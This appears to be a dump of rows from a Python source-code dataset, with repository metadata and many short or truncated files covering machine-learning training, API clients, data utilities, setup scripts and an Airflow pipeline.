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6a0e398064f5e12cb4d5acb4655162fd3e72f755 | 34,218 | py | Python | pgAdmin4/pgAdmin4/lib/python2.7/site-packages/pgadmin4/pgadmin/browser/server_groups/servers/databases/schemas/tables/column/__init__.py | Anillab/One-Minute-Pitch | 123f7b2010d3ae0f031066db1bcfe6eda7a41e84 | [
"MIT"
] | 4 | 2019-10-03T21:58:22.000Z | 2021-02-12T13:33:32.000Z | pgAdmin4/pgAdmin4/lib/python2.7/site-packages/pgadmin4/pgadmin/browser/server_groups/servers/databases/schemas/tables/column/__init__.py | Anillab/One-Minute-Pitch | 123f7b2010d3ae0f031066db1bcfe6eda7a41e84 | [
"MIT"
] | 4 | 2020-01-22T13:45:12.000Z | 2022-02-10T20:58:09.000Z | pgAdmin4/pgAdmin4/lib/python2.7/site-packages/pgadmin4/pgadmin/browser/server_groups/servers/databases/schemas/tables/column/__init__.py | Anillab/One-Minute-Pitch | 123f7b2010d3ae0f031066db1bcfe6eda7a41e84 | [
"MIT"
] | 1 | 2021-01-13T09:30:29.000Z | 2021-01-13T09:30:29.000Z | ##########################################################################
#
# pgAdmin 4 - PostgreSQL Tools
#
# Copyright (C) 2013 - 2018, The pgAdmin Development Team
# This software is released under the PostgreSQL Licence
#
##########################################################################
""" Implements Co... | 33.350877 | 95 | 0.525425 | ##########################################################################
#
# pgAdmin 4 - PostgreSQL Tools
#
# Copyright (C) 2013 - 2018, The pgAdmin Development Team
# This software is released under the PostgreSQL Licence
#
##########################################################################
""" Implements Co... | 0 | 19,136 | 0 | 13,820 | 0 | 0 | 0 | 443 | 312 |
31424884e1eca24c7acd2daedba2d1014e95cdda | 17,297 | py | Python | pmix/xlsdiff.py | jkpr/pmix | 96a88ca8fdcbc0aa91061cc8f77f5aba8eb7acb2 | [
"MIT"
] | 1 | 2018-07-26T05:51:02.000Z | 2018-07-26T05:51:02.000Z | pmix/xlsdiff.py | jkpr/pmix | 96a88ca8fdcbc0aa91061cc8f77f5aba8eb7acb2 | [
"MIT"
] | 14 | 2017-05-06T16:28:14.000Z | 2018-08-24T17:00:17.000Z | pmix/xlsdiff.py | jkpr/pmix | 96a88ca8fdcbc0aa91061cc8f77f5aba8eb7acb2 | [
"MIT"
] | 2 | 2017-03-15T00:25:14.000Z | 2018-07-09T19:09:36.000Z | """Module for the xls diffing and CLI.
IndexedVenn
This is a named tuple that is meant to carry information about two
sequences (called "a" and "b"). It has the following ordered members:
- common_a: The index and item of all items in both a and b with the
condition that the item appears ex... | 39.672018 | 79 | 0.598601 | """Module for the xls diffing and CLI.
IndexedVenn
This is a named tuple that is meant to carry information about two
sequences (called "a" and "b"). It has the following ordered members:
- common_a: The index and item of all items in both a and b with the
condition that the item appears ex... | 0 | 2,364 | 0 | 9,824 | 0 | 0 | 0 | 32 | 91 |
3ff996876becdebc477dae5bc01eb0e02195a0b9 | 275 | py | Python | PythonTutor/session-4/conditionIf.py | krishnamanchikalapudi/examples.py | 7a373d24df06b8882d07b850435b268a24317b1e | [
"MIT"
] | null | null | null | PythonTutor/session-4/conditionIf.py | krishnamanchikalapudi/examples.py | 7a373d24df06b8882d07b850435b268a24317b1e | [
"MIT"
] | 1 | 2020-02-14T13:24:01.000Z | 2020-02-14T13:24:01.000Z | PythonTutor/session-4/conditionIf.py | krishnamanchikalapudi/examples.py | 7a373d24df06b8882d07b850435b268a24317b1e | [
"MIT"
] | 2 | 2020-02-14T13:21:20.000Z | 2021-06-30T00:50:33.000Z | """
Session: 4
Topic: Conditional: IF statement
"""
x = 200
y = 1000
if (x > y):
print ('x > y is true')
print ('new line 1')
print('new line 11')
print ('new line 2')
"""
if (x < y):
print ('x < y is true')
print ('new line 3')
print ('new line 4')
""" | 14.473684 | 32 | 0.523636 | """
Session: 4
Topic: Conditional: IF statement
"""
x = 200
y = 1000
if (x > y):
print ('x > y is true')
print ('new line 1')
print('new line 11')
print ('new line 2')
"""
if (x < y):
print ('x < y is true')
print ('new line 3')
print ('new line 4')
""" | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
1db7bbd439c0503c27468f11fc54609cfe295b87 | 1,075 | py | Python | cryptocompsdk/urls.py | whoopnip/cryptocompare-py | 847b2109f7e54c7c6da3fa6efdf104e155e519bf | [
"MIT"
] | null | null | null | cryptocompsdk/urls.py | whoopnip/cryptocompare-py | 847b2109f7e54c7c6da3fa6efdf104e155e519bf | [
"MIT"
] | 12 | 2020-03-15T17:13:51.000Z | 2021-12-20T00:10:06.000Z | cryptocompsdk/urls.py | whoopnip/cryptocompare-py | 847b2109f7e54c7c6da3fa6efdf104e155e519bf | [
"MIT"
] | null | null | null |
API_BASE_URL = 'https://min-api.cryptocompare.com/'
DATA_URL = API_BASE_URL + 'data/'
DATA_V2_URL = DATA_URL + 'v2/'
DATA_V3_URL = DATA_URL + 'v3/'
DATA_V3_ALL_URL = DATA_V3_URL + 'all/'
# Specific APIs
# History APIs
DAILY_HISTORY_URL = DATA_V2_URL + 'histoday'
HOURLY_HISTORY_URL = DATA_V2_URL + 'histohour'
MINUTE_... | 28.289474 | 67 | 0.774884 |
API_BASE_URL = 'https://min-api.cryptocompare.com/'
DATA_URL = API_BASE_URL + 'data/'
DATA_V2_URL = DATA_URL + 'v2/'
DATA_V3_URL = DATA_URL + 'v3/'
DATA_V3_ALL_URL = DATA_V3_URL + 'all/'
# Specific APIs
# History APIs
DAILY_HISTORY_URL = DATA_V2_URL + 'histoday'
HOURLY_HISTORY_URL = DATA_V2_URL + 'histohour'
MINUTE_... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
57c205ad59d36aa9bd2c08132c8d5524437eec89 | 7,392 | py | Python | utctime/parsers.py | chrsbats/utctime | 94e6fcca36fcd8d6bc6a05303b1d0306b94ec97d | [
"MIT"
] | 1 | 2015-05-07T07:04:49.000Z | 2015-05-07T07:04:49.000Z | utctime/parsers.py | chrsbats/utctime | 94e6fcca36fcd8d6bc6a05303b1d0306b94ec97d | [
"MIT"
] | null | null | null | utctime/parsers.py | chrsbats/utctime | 94e6fcca36fcd8d6bc6a05303b1d0306b94ec97d | [
"MIT"
] | null | null | null |
def from_requests_response(response):
"""Attempts to find a date from a response object.
If a more reliable method can be used, (RSS timestamp) use that
in preference to this.
"""
content_date = from_content(response.content)
url_date = from_url(response.url)
modified_date = from_headers(r... | 31.589744 | 166 | 0.494048 | import re
import datetime
import dateutil.parser
from bs4 import BeautifulSoup
def from_requests_response(response):
"""Attempts to find a date from a response object.
If a more reliable method can be used, (RSS timestamp) use that
in preference to this.
"""
content_date = from_content(response.co... | 0 | 0 | 0 | 0 | 1,330 | 5,339 | 0 | -9 | 180 |
58a4ad4a6c6235654425ba8690b30ddd13a4077d | 371 | py | Python | WSItk/fast/setup.py | vladpopovici/WSItk | 02db9dbf1148106a576d7b4dd7965c73607efdae | [
"MIT"
] | 6 | 2017-03-18T19:17:42.000Z | 2019-05-05T14:57:31.000Z | WSItk/fast/setup.py | vladpopovici/WSItk | 02db9dbf1148106a576d7b4dd7965c73607efdae | [
"MIT"
] | null | null | null | WSItk/fast/setup.py | vladpopovici/WSItk | 02db9dbf1148106a576d7b4dd7965c73607efdae | [
"MIT"
] | 4 | 2015-11-29T14:47:25.000Z | 2019-11-28T03:16:39.000Z | from distutils.core import setup
from distutils.extension import Extension
from Cython.Distutils import build_ext
ext_module = Extension(
"pdist",
["pdist.pyx"],
extra_compile_args=['-fopenmp'],
extra_link_args=['-fopenmp'],
)
setup(
name = 'Cython-based sped-up routines',
cmdclass = {'build_e... | 21.823529 | 43 | 0.698113 | from distutils.core import setup
from distutils.extension import Extension
from Cython.Distutils import build_ext
ext_module = Extension(
"pdist",
["pdist.pyx"],
extra_compile_args=['-fopenmp'],
extra_link_args=['-fopenmp'],
)
setup(
name = 'Cython-based sped-up routines',
cmdclass = {'build_e... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
9d9faa88f542777b9a4b8ca06a500aa9761dfb01 | 4,727 | py | Python | showtext.py | Breazile/MandoPuterPi | a89c4c261cec2274f9e3e2a9f808776722d14633 | [
"MIT"
] | 4 | 2020-10-11T16:00:43.000Z | 2022-03-21T18:23:07.000Z | showtext.py | Breazile/MandoPuterPi | a89c4c261cec2274f9e3e2a9f808776722d14633 | [
"MIT"
] | 1 | 2022-02-17T04:44:54.000Z | 2022-02-17T04:44:54.000Z | showtext.py | Breazile/MandoPuterPi | a89c4c261cec2274f9e3e2a9f808776722d14633 | [
"MIT"
] | null | null | null | """
This demo will draw a few rectangles onto the screen along with some text
on top of that.
This example is for use on (Linux) computers that are using CPython with
Adafruit Blinka to support CircuitPython libraries. CircuitPython does
not support PIL/pillow (python imaging library)!
Author(s): Melissa LeBl... | 40.059322 | 146 | 0.677597 | """
This demo will draw a few rectangles onto the screen along with some text
on top of that.
This example is for use on (Linux) computers that are using CPython with
Adafruit Blinka to support CircuitPython libraries. CircuitPython does
not support PIL/pillow (python imaging library)!
Author(s): Melissa LeBl... | 0 | 0 | 0 | 0 | 0 | 395 | 0 | 11 | 23 |
b68e54196115fc822984f01aefda2fddb5f6cb35 | 34 | py | Python | cli.py | SenZhangAI/urgent-lang | 5b74d6b4eb23c00b5e955aee8f0237cc81e5c039 | [
"MIT"
] | 7 | 2020-01-25T04:29:30.000Z | 2021-05-01T09:52:03.000Z | cli.py | SenZhangAI/urgent-lang | 5b74d6b4eb23c00b5e955aee8f0237cc81e5c039 | [
"MIT"
] | 9 | 2020-01-23T06:57:47.000Z | 2020-02-03T14:16:49.000Z | cli.py | SenZhangAI/urgent-lang | 5b74d6b4eb23c00b5e955aee8f0237cc81e5c039 | [
"MIT"
] | 3 | 2020-02-01T05:17:32.000Z | 2020-02-03T14:09:53.000Z | from urgent.cli import main
main() | 17 | 27 | 0.794118 | from urgent.cli import main
main() | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
aaab2ced51a44f29baf0d0df65d940ac2868dd22 | 359 | py | Python | src/demo.py | JKtubage/Neural-Network-deep-learning | 5e2ae55aa2fe23700847ffafe7e8fa6b998a07e1 | [
"Unlicense"
] | 1 | 2020-07-27T14:11:52.000Z | 2020-07-27T14:11:52.000Z | src/demo.py | JKtubage/Neural-Network-deep-learning | 5e2ae55aa2fe23700847ffafe7e8fa6b998a07e1 | [
"Unlicense"
] | null | null | null | src/demo.py | JKtubage/Neural-Network-deep-learning | 5e2ae55aa2fe23700847ffafe7e8fa6b998a07e1 | [
"Unlicense"
] | null | null | null | import mnist_loader
import network
training_data, validation_data, test_data = mnist_loader.load_data_wrapper()
# print("training data")
# print(type(training_data))
# print(len(training_data))
# print(training_data[0][0].shape)
# print(training_data[0][1].shape)
net = network.Network([784, 30, 10])
net.SGD(training_... | 29.916667 | 76 | 0.763231 | import mnist_loader
import network
training_data, validation_data, test_data = mnist_loader.load_data_wrapper()
# print("training data")
# print(type(training_data))
# print(len(training_data))
# print(training_data[0][0].shape)
# print(training_data[0][1].shape)
net = network.Network([784, 30, 10])
net.SGD(training_... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
26a15701d56fba312a51a8a9bd5083d8cb0730ef | 17,676 | py | Python | imagenet/main.py | sebgao/LIP | 6724ec63c1f1ebefa25d7269e29d17c4411a7941 | [
"MIT"
] | 209 | 2019-08-13T01:51:49.000Z | 2022-03-28T09:59:28.000Z | imagenet/main.py | Abel1997/LIP | 6724ec63c1f1ebefa25d7269e29d17c4411a7941 | [
"MIT"
] | 12 | 2019-08-14T07:39:47.000Z | 2021-09-24T10:08:55.000Z | imagenet/main.py | Abel1997/LIP | 6724ec63c1f1ebefa25d7269e29d17c4411a7941 | [
"MIT"
] | 26 | 2019-08-15T02:37:05.000Z | 2021-12-10T06:32:40.000Z | ### Based on https://github.com/pytorch/examples/tree/master/imagenet/main.py
import argparse
import sys
import torch
import torch.nn as nn
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.optim
import torch.utils.data
import torch.utils.data.distributed
import torchvision.transforms as tran... | 37.850107 | 115 | 0.606246 | ### Based on https://github.com/pytorch/examples/tree/master/imagenet/main.py
import argparse
import os
import random
import shutil
import time
import warnings
import sys
import torch
import torch.nn as nn
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.distributed as dist
import torch.opti... | 0 | 0 | 0 | 368 | 0 | 11,802 | 0 | -14 | 430 |
e896dbfbdc911432437d9bf9ea671211382c995e | 491 | py | Python | setup.py | jcmcken/bp | 894b35b32408643404605daf75ca248262858ecc | [
"BSD-3-Clause"
] | null | null | null | setup.py | jcmcken/bp | 894b35b32408643404605daf75ca248262858ecc | [
"BSD-3-Clause"
] | 8 | 2016-12-05T21:01:18.000Z | 2019-08-22T12:13:29.000Z | setup.py | jcmcken/bp | 894b35b32408643404605daf75ca248262858ecc | [
"BSD-3-Clause"
] | null | null | null | from setuptools import setup
setup(
name='bp',
version=open('VERSION').read().strip(),
description='A command-line interface for populating Jinja2 templates',
long_description='Populate Jinja2 templates from plaintext JSON, YAML, or'
' TXT files.',
author='Jon McKenzie',
au... | 28.882353 | 78 | 0.643585 | from setuptools import setup
setup(
name='bp',
version=open('VERSION').read().strip(),
description='A command-line interface for populating Jinja2 templates',
long_description='Populate Jinja2 templates from plaintext JSON, YAML, or'
' TXT files.',
author='Jon McKenzie',
au... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
01a7dc010fb31d85c2180b905abc6fc5be639616 | 316,208 | py | Python | src/nifgen/metadata/functions.py | dan-davello/nimi-python | 8d89e4cfb205f789630cf7725f0c3d57bfe7d755 | [
"MIT"
] | null | null | null | src/nifgen/metadata/functions.py | dan-davello/nimi-python | 8d89e4cfb205f789630cf7725f0c3d57bfe7d755 | [
"MIT"
] | null | null | null | src/nifgen/metadata/functions.py | dan-davello/nimi-python | 8d89e4cfb205f789630cf7725f0c3d57bfe7d755 | [
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# This file is code generated, do not make changes here
# If the generated information is not correct for python
# changes can be made in functions_addon.py and they will be
# applied at build time
functions = {
'AbortGeneration': {
'returns': 'ViStatus',
'parameters': ... | 32.131694 | 1,891 | 0.630525 |
# -*- coding: utf-8 -*-
# This file is code generated, do not make changes here
# If the generated information is not correct for python
# changes can be made in functions_addon.py and they will be
# applied at build time
functions = {
'AbortGeneration': {
'returns': 'ViStatus',
'parameters': ... | 189 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b214869851627f023d97d24b883707f9c228a02f | 673 | py | Python | tests/test_utils.py | wbuchwalter/fairing-1 | e6d459dc8413ffd3e8c4b0771a2ec79c74c383ab | [
"Apache-2.0"
] | 21 | 2018-08-09T19:13:47.000Z | 2020-07-22T05:21:11.000Z | tests/test_utils.py | wbuchwalter/fairing-1 | e6d459dc8413ffd3e8c4b0771a2ec79c74c383ab | [
"Apache-2.0"
] | 14 | 2018-08-02T18:44:09.000Z | 2018-11-08T15:32:55.000Z | tests/test_utils.py | wbuchwalter/fairing-1 | e6d459dc8413ffd3e8c4b0771a2ec79c74c383ab | [
"Apache-2.0"
] | 4 | 2018-08-09T19:13:59.000Z | 2018-10-08T05:44:31.000Z |
REPO_NAME = 'testrepo'
IMAGE_NAME = 'fairing-test'
IMAGE_TAG = 'some-tag'
| 30.590909 | 69 | 0.736999 | import pytest
from fairing.utils import is_runtime_phase, get_image_full, get_image
REPO_NAME = 'testrepo'
IMAGE_NAME = 'fairing-test'
IMAGE_TAG = 'some-tag'
@pytest.mark.parametrize("runtime_phase", [True, False])
def test_is_runtime_phase(runtime_phase, monkeypatch):
if runtime_phase:
monkeypatch.seten... | 0 | 211 | 0 | 0 | 0 | 233 | 0 | 40 | 114 |
833adf82067cf9e2f5c7e841d79fc3f5e3efbdec | 588 | py | Python | synthesis/synthesizer/tf_to_torch/nlp.py | aidanby/SOAR | c9bca57727a94b21bb667cc314482a2fbb0fd51a | [
"Apache-2.0"
] | 2 | 2021-01-16T00:09:56.000Z | 2021-02-06T06:04:34.000Z | synthesis/synthesizer/tf_to_torch/nlp.py | aidanby/SOAR | c9bca57727a94b21bb667cc314482a2fbb0fd51a | [
"Apache-2.0"
] | null | null | null | synthesis/synthesizer/tf_to_torch/nlp.py | aidanby/SOAR | c9bca57727a94b21bb667cc314482a2fbb0fd51a | [
"Apache-2.0"
] | null | null | null |
err_msg = "sparse_coo_tensor(): argument 'size' must be tuple of ints\", ' not NoneTyp"
sentences = err_msg
tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
model = BertModel.from_pretrained('bert-base-uncased')
sentence_embeddings = tokenizer.encode(err_msg)
word_to_embedding = zip(sentences.split(' ')... | 34.588235 | 87 | 0.760204 | from transformers import *
from synthesis import *
err_msg = "sparse_coo_tensor(): argument 'size' must be tuple of ints\", ' not NoneTyp"
sentences = err_msg
tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
model = BertModel.from_pretrained('bert-base-uncased')
sentence_embeddings = tokenizer.encode(er... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 | 44 |
9e54a5c837396c258ee83eba70e7a441c2bc35dd | 8,843 | py | Python | conv_is_all_you_need/src/Cropping_Window_Xception/scripts/find_leaked_imgs.py | guitarmind/HPA-competition-solutions | 547d53aaca148fdb5f4585526ad7364dfa47967d | [
"MIT"
] | null | null | null | conv_is_all_you_need/src/Cropping_Window_Xception/scripts/find_leaked_imgs.py | guitarmind/HPA-competition-solutions | 547d53aaca148fdb5f4585526ad7364dfa47967d | [
"MIT"
] | null | null | null | conv_is_all_you_need/src/Cropping_Window_Xception/scripts/find_leaked_imgs.py | guitarmind/HPA-competition-solutions | 547d53aaca148fdb5f4585526ad7364dfa47967d | [
"MIT"
] | null | null | null | from lib.config import gen_config
config = gen_config()
# use the ladder trick to make it O(n) instead of O(n^2)
# identical_pair = {
# 'test_id': test_id,
# 'hpa_id': hpa_id,
# 'max_error': np.max(np.abs(test_img - img)),
# 'mean_error': (test_img - img).mean(),
# 'trans': trans,
# }
... | 33.496212 | 131 | 0.604207 | import pandas as pd
import sys
from multiprocessing import Pool
import numpy as np
import cv2
from lib.utils import load_image, info, debug, display_imgs
from lib.config import gen_config
config = gen_config()
# use the ladder trick to make it O(n) instead of O(n^2)
def compare_fn(img_record):
return img_record... | 0 | 0 | 0 | 0 | 0 | 7,453 | 0 | 22 | 339 |
168e223e222d69dfb227f3000b7bcaa7c37d049a | 1,381 | py | Python | models/testing/svr_testing.py | inovex/RCIS2021-degradation-bearing-vessels | 27bd1a2e3f08c5b42011596aa98e5ac627a416d6 | [
"MIT"
] | 2 | 2021-06-21T11:40:38.000Z | 2021-12-29T02:40:30.000Z | models/testing/svr_testing.py | chenzhengkun7/RCIS2021-degradation-estimation-bearing-vessels | 27bd1a2e3f08c5b42011596aa98e5ac627a416d6 | [
"MIT"
] | 2 | 2021-04-08T11:30:28.000Z | 2021-04-12T06:41:31.000Z | models/testing/svr_testing.py | chenzhengkun7/RCIS2021-degradation-estimation-bearing-vessels | 27bd1a2e3f08c5b42011596aa98e5ac627a416d6 | [
"MIT"
] | 2 | 2021-06-21T11:40:43.000Z | 2021-12-29T02:36:51.000Z |
if __name__ == '__main__':
train_svr()
| 49.321429 | 118 | 0.768284 | from pre_processing.features import read_feature_dfs_as_dict
from pre_processing.features import df_dict_to_df_dataframe
from util.helper import pop_labels
from models.ComputedFeaturesFFNN import ComputedFeaturesFFNN
from util.metrics import rmse, correlation_coefficient
from util.constants import LEARNING_SET, FULL_TE... | 0 | 0 | 0 | 0 | 0 | 851 | 0 | 285 | 199 |
a704b440e30d81a83496195144f6eba1c8e04106 | 2,664 | py | Python | ddbb/users.py | babieca/pms | 938aec985ca522f7532d16c6568c8bef31942299 | [
"Apache-2.0"
] | null | null | null | ddbb/users.py | babieca/pms | 938aec985ca522f7532d16c6568c8bef31942299 | [
"Apache-2.0"
] | 8 | 2021-03-18T21:44:41.000Z | 2022-03-11T23:37:33.000Z | ddbb/users.py | babieca/pms | 938aec985ca522f7532d16c6568c8bef31942299 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
import sys
sys.path.insert(0, '../config/')
if __name__ == '__main__':
run() | 28.340426 | 90 | 0.591216 | #!/usr/bin/env python
import sys
sys.path.insert(0, '../config/')
from sqlalchemy import create_engine, Table, MetaData, Column, Integer, String, ForeignKey
from sqlalchemy.orm import mapper, relationship, sessionmaker
from config import config
class User():
def __init__(self, name, password):
self.na... | 0 | 0 | 0 | 223 | 0 | 2,064 | 0 | 113 | 158 |
a1020946f5db9d2e5cf73986a0e4574af3e2de6a | 5,461 | py | Python | py16db/make_silva_style_db_from_contigs.py | FEMLab/focusdb | ed799eca80cd969ac59de566f96f685bb7fcaa2d | [
"MIT"
] | null | null | null | py16db/make_silva_style_db_from_contigs.py | FEMLab/focusdb | ed799eca80cd969ac59de566f96f685bb7fcaa2d | [
"MIT"
] | 1 | 2019-12-12T11:26:17.000Z | 2019-12-12T11:26:17.000Z | py16db/make_silva_style_db_from_contigs.py | FEMLab/focusdb | ed799eca80cd969ac59de566f96f685bb7fcaa2d | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
if __name__ == '__main__':
main()
| 34.345912 | 84 | 0.611976 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import sys
import os
import subprocess
import shutil
import logging
import glob
import multiprocessing
import tempfile
from pathlib import Path
from Bio import SeqIO
from Bio.SeqRecord import SeqRecord
from py16db.shared_methods import filter_sraFind, ... | 0 | 0 | 0 | 0 | 0 | 4,948 | 0 | 61 | 358 |
9cd2c1a1e017625c719365d99c9aa7f6ae44f52c | 562 | py | Python | supervisr/puppet/apps.py | BeryJu/supervisr | 2305b1e27abb0bfe9fcee93b79e012c62cba712e | [
"MIT"
] | 1 | 2020-01-12T21:33:03.000Z | 2020-01-12T21:33:03.000Z | supervisr/puppet/apps.py | BeryJu/supervisr | 2305b1e27abb0bfe9fcee93b79e012c62cba712e | [
"MIT"
] | null | null | null | supervisr/puppet/apps.py | BeryJu/supervisr | 2305b1e27abb0bfe9fcee93b79e012c62cba712e | [
"MIT"
] | null | null | null | """Supervisr Puppet Apps Config"""
| 29.578947 | 71 | 0.706406 | """Supervisr Puppet Apps Config"""
from supervisr.core.apps import SettingBootstrapper, SupervisrAppConfig
class SupervisrPuppetConfig(SupervisrAppConfig):
"""Supervisr Puppet app config"""
name = 'supervisr.puppet'
verbose_name = 'Supervisr Puppet'
navbar_enabled = lambda self, request: request.use... | 0 | 0 | 0 | 430 | 0 | 0 | 0 | 50 | 46 |
daf3b659ba59d5d6db45266d2aa72aa4d6b41182 | 1,093 | py | Python | test/test_change_requests_page.py | CiscoDevNet/python-msx-sdk | d7e0a08c656504b4f4551d263e67c671a2a04b3f | [
"MIT"
] | null | null | null | test/test_change_requests_page.py | CiscoDevNet/python-msx-sdk | d7e0a08c656504b4f4551d263e67c671a2a04b3f | [
"MIT"
] | null | null | null | test/test_change_requests_page.py | CiscoDevNet/python-msx-sdk | d7e0a08c656504b4f4551d263e67c671a2a04b3f | [
"MIT"
] | null | null | null | """
MSX SDK
MSX SDK client. # noqa: E501
The version of the OpenAPI document: 1.0.9
Generated by: https://openapi-generator.tech
"""
import unittest
from python_msx_sdk.model.change_request_summary import ChangeRequestSummary
from python_msx_sdk.model.change_requests_page_all_of import ChangeRequest... | 26.02381 | 84 | 0.747484 | """
MSX SDK
MSX SDK client. # noqa: E501
The version of the OpenAPI document: 1.0.9
Generated by: https://openapi-generator.tech
"""
import sys
import unittest
import python_msx_sdk
from python_msx_sdk.model.change_request_summary import ChangeRequestSummary
from python_msx_sdk.model.change_reques... | 0 | 0 | 0 | 368 | 0 | 0 | 0 | 40 | 91 |
533327431de9b5a55de6b70927d056f8f96a84a9 | 1,094 | py | Python | cloudkitty-9.0.0/cloudkitty/common/db/models.py | scottwedge/OpenStack-Stein | 7077d1f602031dace92916f14e36b124f474de15 | [
"Apache-2.0"
] | null | null | null | cloudkitty-9.0.0/cloudkitty/common/db/models.py | scottwedge/OpenStack-Stein | 7077d1f602031dace92916f14e36b124f474de15 | [
"Apache-2.0"
] | 5 | 2019-08-14T06:46:03.000Z | 2021-12-13T20:01:25.000Z | cloudkitty-9.0.0/cloudkitty/common/db/models.py | scottwedge/OpenStack-Stein | 7077d1f602031dace92916f14e36b124f474de15 | [
"Apache-2.0"
] | 2 | 2020-03-15T01:24:15.000Z | 2020-07-22T20:34:26.000Z | # -*- coding: utf-8 -*-
# Copyright 2016 Objectif Libre
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 34.1875 | 78 | 0.706581 | # -*- coding: utf-8 -*-
# Copyright 2016 Objectif Libre
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 2 | 0 | 0 | 0 | 0 | 108 | 0 | 17 | 45 |
b94078f0be785a1f9f96ed27e024ba0b40d2625c | 3,011 | py | Python | lanenet_model/lanenet.py | Lewington-pitsos/lanenet-lane-detection | 12009ebc0cd7b418b1e07a646b4e1b7285466790 | [
"Apache-2.0"
] | null | null | null | lanenet_model/lanenet.py | Lewington-pitsos/lanenet-lane-detection | 12009ebc0cd7b418b1e07a646b4e1b7285466790 | [
"Apache-2.0"
] | null | null | null | lanenet_model/lanenet.py | Lewington-pitsos/lanenet-lane-detection | 12009ebc0cd7b418b1e07a646b4e1b7285466790 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 19-4-24 8:50
# @Author : MaybeShewill-CV
# @Site : https://github.com/MaybeShewill-CV/lanenet-lane-detection
# @File : lanenet.py
# @IDE: PyCharm
"""
Implement LaneNet Model
"""
| 32.728261 | 92 | 0.613085 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 19-4-24 下午8:50
# @Author : MaybeShewill-CV
# @Site : https://github.com/MaybeShewill-CV/lanenet-lane-detection
# @File : lanenet.py
# @IDE: PyCharm
"""
Implement LaneNet Model
"""
import tensorflow as tf
from lanenet_model import lanenet_back_end
from ... | 6 | 0 | 0 | 2,578 | 0 | 0 | 0 | 73 | 112 |
0adab473a3ac4c0d6d4ee747fdfbce846bb10bc3 | 135 | py | Python | graphql/pyutils/maybe_awaitable.py | dfee/graphql-core-next | 1ada7146bd0510171ae931b68f6c77dbdf5d5c63 | [
"MIT"
] | null | null | null | graphql/pyutils/maybe_awaitable.py | dfee/graphql-core-next | 1ada7146bd0510171ae931b68f6c77dbdf5d5c63 | [
"MIT"
] | null | null | null | graphql/pyutils/maybe_awaitable.py | dfee/graphql-core-next | 1ada7146bd0510171ae931b68f6c77dbdf5d5c63 | [
"MIT"
] | null | null | null | from typing import Awaitable, TypeVar, Union
__all__ = ['MaybeAwaitable']
T = TypeVar('T')
MaybeAwaitable = Union[Awaitable[T], T]
| 15 | 44 | 0.718519 | from typing import Awaitable, TypeVar, Union
__all__ = ['MaybeAwaitable']
T = TypeVar('T')
MaybeAwaitable = Union[Awaitable[T], T]
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
cce60a2d36978cf04b9f4833990e1c31a01a29b6 | 195 | py | Python | reamber/dummy/DmSv.py | Bestfast/reamberPy | 91b76ca6adf11fbe8b7cee7c186481776a4d7aaa | [
"MIT"
] | null | null | null | reamber/dummy/DmSv.py | Bestfast/reamberPy | 91b76ca6adf11fbe8b7cee7c186481776a4d7aaa | [
"MIT"
] | null | null | null | reamber/dummy/DmSv.py | Bestfast/reamberPy | 91b76ca6adf11fbe8b7cee7c186481776a4d7aaa | [
"MIT"
] | null | null | null | from __future__ import annotations
MIN_SV = 0.01
MAX_SV = 10.0 | 16.25 | 36 | 0.769231 | from __future__ import annotations
from dataclasses import dataclass
from reamber.base.Timed import Timed
MIN_SV = 0.01
MAX_SV = 10.0
@dataclass
class DmSv(Timed):
multiplier: float = 1.0 | 0 | 36 | 0 | 0 | 0 | 0 | 0 | 27 | 69 |
ce2059dd5c71761640c5e0a95c4c531a6f5fddc6 | 3,275 | py | Python | examples/legacy_examples/dagster_examples/gcp_data_platform/airflow.py | bitdotioinc/dagster | 4fe395a37b206b1a48b956fa5dd72bf698104cca | [
"Apache-2.0"
] | 2 | 2021-06-21T17:50:26.000Z | 2021-06-21T19:14:23.000Z | examples/legacy_examples/dagster_examples/gcp_data_platform/airflow.py | bitdotioinc/dagster | 4fe395a37b206b1a48b956fa5dd72bf698104cca | [
"Apache-2.0"
] | 7 | 2022-03-16T06:55:04.000Z | 2022-03-18T07:03:25.000Z | examples/legacy_examples/dagster_examples/gcp_data_platform/airflow.py | bitdotioinc/dagster | 4fe395a37b206b1a48b956fa5dd72bf698104cca | [
"Apache-2.0"
] | 1 | 2021-08-18T17:21:57.000Z | 2021-08-18T17:21:57.000Z | import datetime
import os
from airflow.contrib.operators import dataproc_operator
from airflow.contrib.operators.bigquery_operator import BigQueryOperator
from airflow.contrib.operators.gcs_to_bq import GoogleCloudStorageToBigQueryOperator
from airflow.models import DAG
from airflow.utils import trigger_rule
PROJECT_... | 32.425743 | 102 | 0.692519 | import datetime
import os
from airflow.contrib.operators import dataproc_operator
from airflow.contrib.operators.bigquery_operator import BigQueryOperator
from airflow.contrib.operators.gcs_to_bq import GoogleCloudStorageToBigQueryOperator
from airflow.models import DAG
from airflow.utils import trigger_rule
PROJECT_... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
